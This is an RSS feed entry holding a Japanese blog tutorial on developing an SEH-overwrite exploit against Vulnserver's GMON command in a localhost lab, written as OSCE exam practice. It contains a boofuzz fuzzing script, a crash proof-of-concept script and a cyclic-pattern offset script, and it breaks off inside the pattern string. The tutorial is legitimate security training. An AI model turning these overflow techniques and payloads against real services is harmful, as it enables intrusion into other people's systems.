<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[BinaryGenes]]></title><description><![CDATA[BinaryGenes]]></description><link>https://binarygenes.com</link><generator>GatsbyJS</generator><lastBuildDate>Tue, 25 Aug 2026 08:26:19 GMT</lastBuildDate><item><title><![CDATA[EgghunterによるGMONエクスプロイト]]></title><description><![CDATA[この記事では、OSCEの準備としてepi052's blogを参考にVulnserverのGMONコマンドに対するExploit開発の流れを記事に残していきます。]]></description><link>https://binarygenes.com/posts/2020-05-31-gmon-exploit-by-egghunter</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-05-31-gmon-exploit-by-egghunter</guid><pubDate>Sat, 06 Jun 2020 18:25:52 GMT</pubDate><content:encoded>&lt;p&gt;この記事では、OSCEの準備としてVulnserverのGMONコマンドに対するExploit開発の流れを記事に残していきます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/easter_bunny.png&quot; alt=&quot;Easter bunny&quot; title=&quot;Easter bunny&quot;&gt;&lt;/p&gt;
&lt;p&gt;記事の作成に当たって、以下のブログ記事を参考にしています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://epi052.gitlab.io&quot;&gt;epi052’s blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;h2 id=&quot;環境&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E7%92%B0%E5%A2%83&quot; aria-label=&quot;環境 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;環境&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;環境のセットアップは主に&lt;a href=&quot;https://epi052.gitlab.io/notes-to-self/blog/2020-05-13-osce-exam-practice-part-one/&quot;&gt;この記事&lt;/a&gt;を参考にしています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 7 SP1 Build 7601 x86&lt;/li&gt;
&lt;li&gt;Vulnserver&lt;/li&gt;
&lt;li&gt;010 Editor&lt;/li&gt;
&lt;li&gt;DB Browser for SQLite&lt;/li&gt;
&lt;li&gt;Immunity debugger&lt;/li&gt;
&lt;li&gt;mona.py&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;h2 id=&quot;ファジング&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%83%95%E3%82%A1%E3%82%B8%E3%83%B3%E3%82%B0&quot; aria-label=&quot;ファジング permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;ファジング&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;はじめに、Exploit対象のWebサーバであるVulnserverがクラッシュするテストケースをBoofuzzにより見つけていきます。&lt;/p&gt;
&lt;p&gt;下記ソースコードのコメントに記載している通り、&lt;code class=&quot;language-text&quot;&gt;boofuzz\boofuzz\monitors\pedrpc.py&lt;/code&gt;に変更を加え、VulnserverからのRST応答によってFuzzingが止まらないようにしてからFuzzingを開始するようにします。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;gmon_fuzzer.py&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pathlib &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; boofuzz &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;


target_ip &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;
target_port &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9999&lt;/span&gt;

fuzz_dir &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__file__&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;parent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;resolve&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  
txt_file &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fuzz_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;fuzz_logs.txt&quot;&lt;/span&gt;

loggers &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;FuzzLoggerText&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;file_handle&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;txt_file&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pedrpc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Client&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target_ip&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;26002&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

start_commands &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;C:\\vulnserver\\vulnserver.exe&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

connection &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TCPSocketConnection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target_ip&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; target_port&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
procmon &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ProcessMonitor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target_ip&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;26002&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#procmon.set_options(options)&lt;/span&gt;
procmon&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;set_start_commands&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start_commands&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Target&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    connection&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;connection&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    monitors&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;procmon&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# For fuzzing to not crap out every few hundred test cases,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Add an additional condition to passed errno.ECONNRESET&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# boofuzz\monitors\pedrpc.py&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 259: if e.errno == errno.ENOTCONN or e.errno == errno.ECONNRESET:&lt;/span&gt;
session &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Session&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; restart_interval&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fuzz_loggers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;loggers&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

s_initialize&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;vulnserver-fuzzcase&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;GMON&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fuzzable&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 
s_delim&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fuzzable&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;something&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

req &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; s_get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;vulnserver-fuzzcase&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;connect&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;fuzzing with &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;num_mutations&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; mutations&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fuzz&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;010 EditorにてCrash binファイルを開き、クラッシュが発生したTest caseの番号を&lt;code class=&quot;language-text&quot;&gt;extra&lt;/code&gt;フィールドから確認します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/crash_bin.png&quot; alt=&quot;Crash bin&quot; title=&quot;Crash bin&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;Test caseのNo.2をRun DBファイルから確認すると、今回Exploitで活用するTest caseを得ることができます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/run_db.png&quot; alt=&quot;Run DB&quot; title=&quot;Run DB&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;クラッシュ時の状態確認&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%82%AF%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E6%99%82%E3%81%AE%E7%8A%B6%E6%85%8B%E7%A2%BA%E8%AA%8D&quot; aria-label=&quot;クラッシュ時の状態確認 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;クラッシュ時の状態確認&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Fuzzingによって得られたテストケースを入力し、クラッシュ発生時のVulnserverのレジスタおよびSEHの状態を確認します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;vulnserver.exe&lt;/code&gt;を実行し、Immunity debugger上で&lt;code class=&quot;language-text&quot;&gt;Ctrl + F1&lt;/code&gt;にてAttach&lt;/li&gt;
&lt;li&gt;Immunity debugger上で&lt;code class=&quot;language-text&quot;&gt;F9&lt;/code&gt;にてプログラムをRun&lt;/li&gt;
&lt;li&gt;以下のPythonスクリプトを実行&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;initial_crash.py&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; struct
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; socket


target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
vuln_cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;GMON /.:/ &quot;&lt;/span&gt;
crash_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5011&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vuln_cmd
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;crash_len &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; socket&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_connection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recv&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    sent &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;send&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;sent &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sent&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + C&lt;/code&gt;にてCPUウインドウを開きRegister欄からEIP overwriteが発生していないことがわかります。また、&lt;code class=&quot;language-text&quot;&gt;Alt + S&lt;/code&gt;にてSEH chainウィンドウを開くこと、nSEHとSEHの両方が上書きされていることがわかります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/initial_crash.png&quot; alt=&quot;Initial crash&quot; title=&quot;Initial crash&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;オフセットレングスの確認&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%82%AA%E3%83%95%E3%82%BB%E3%83%83%E3%83%88%E3%83%AC%E3%83%B3%E3%82%B0%E3%82%B9%E3%81%AE%E7%A2%BA%E8%AA%8D&quot; aria-label=&quot;オフセットレングスの確認 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;オフセット/レングスの確認&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;ペイロードにおけるnSEHの上書きが始まるオフセットを確認します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;for_findmsp.py&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; struct
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; socket


target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
vuln_cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;GMON /.:/ &quot;&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vuln_cmd
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1